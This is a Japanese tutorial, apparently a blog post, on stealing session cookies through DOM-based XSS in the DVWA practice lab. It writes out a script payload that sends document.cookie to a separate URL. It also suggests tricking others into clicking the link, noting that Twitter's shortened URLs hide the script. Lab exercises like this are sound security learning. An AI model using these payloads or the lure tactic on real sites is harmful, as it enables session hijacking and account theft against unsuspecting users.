前提
- kali linux環境がある
- DVWAのセットアップ済み(https://qiita.com/KPenguin/items/7e4f1c428c3dadf8591c )
目標
- xssでセッションを奪取する
手順概要
- xssの可否チェック
- cookieが取れるか確認する
- 別のドメインへcookieを飛ばす
内容
xssとは
- クロスサイトスクリプティングの略称
- scriptを使って、サイト間で不正なデータを送り込むなど、小細工する
- 今回の場合はブラウザにあるcookieをクエリに乗っけて別urlへ送信する
前準備
- DVWAにログインする
- 以下コードをkali上で実行しDVWAを立ち上げる。
- http://localhost/DVWA-master/index.php
- admin/passwordでログイン
- セキュリティレベルを下げる。
- メニュー下にあるDVWA securityへアクセス
- デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する
# ファイルへのアクセス許可する
root@kali:~# service apache2 start
# DB_createできるようにする
root@kali:~# service mysql start
- XSS(DOM)にアクセスする(左メニューにある)
XSS開始
- 挙動を確認する
- selectBoxで「English」を選択すると以下アドレスとなる
- http://localhost/DVWA-master/vulnerabilities/xss_d/?default=English
- どうやらクエリを使って操作しているっぽい
- スクリプトでcookie取得する。
- 下記urlを実行することでcookie情報が露わになった。
- ただ、これだど自分のブラウザのcookieしか取れないので、問題ない。
// cookie取得
document.cookie
// アラートで表示確認
alert(document.cookie)
// urlは以下のようにする
// http://localhost/DVWA-master/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>
- スクリプトを使って、別ページへ遷移させる
- 下記urlを実行することで別途サイトのurlにcookieを載せることができた
- 後は受け取りサイト側でクエリを取得し保存するロジックを組み込めば勝手に収集できる。
// ページ遷移(自分が飛ばしたいurl=>http://localhost)
window.location = "http://localhost"
// 上記にcookieを乗っける
window.location = "http://localhost?hisCookie="+document.cookie
// urlは以下のようにする
// http://localhost/DVWA-master/vulnerabilities/xss_d/?default=<script>window.location = "http://localhost?hisCookie="+document.cookie</script>
- 上記で作成したurlを他人に踏ませる
- 後は上記のスクリプト付きurlを誰かに踏ませればよい。
- 例えば、twitterならurlが略されるのでスクリプトは隠れるため、ばれ辛い(twitter側がエスケープしてそうだけど)
おわり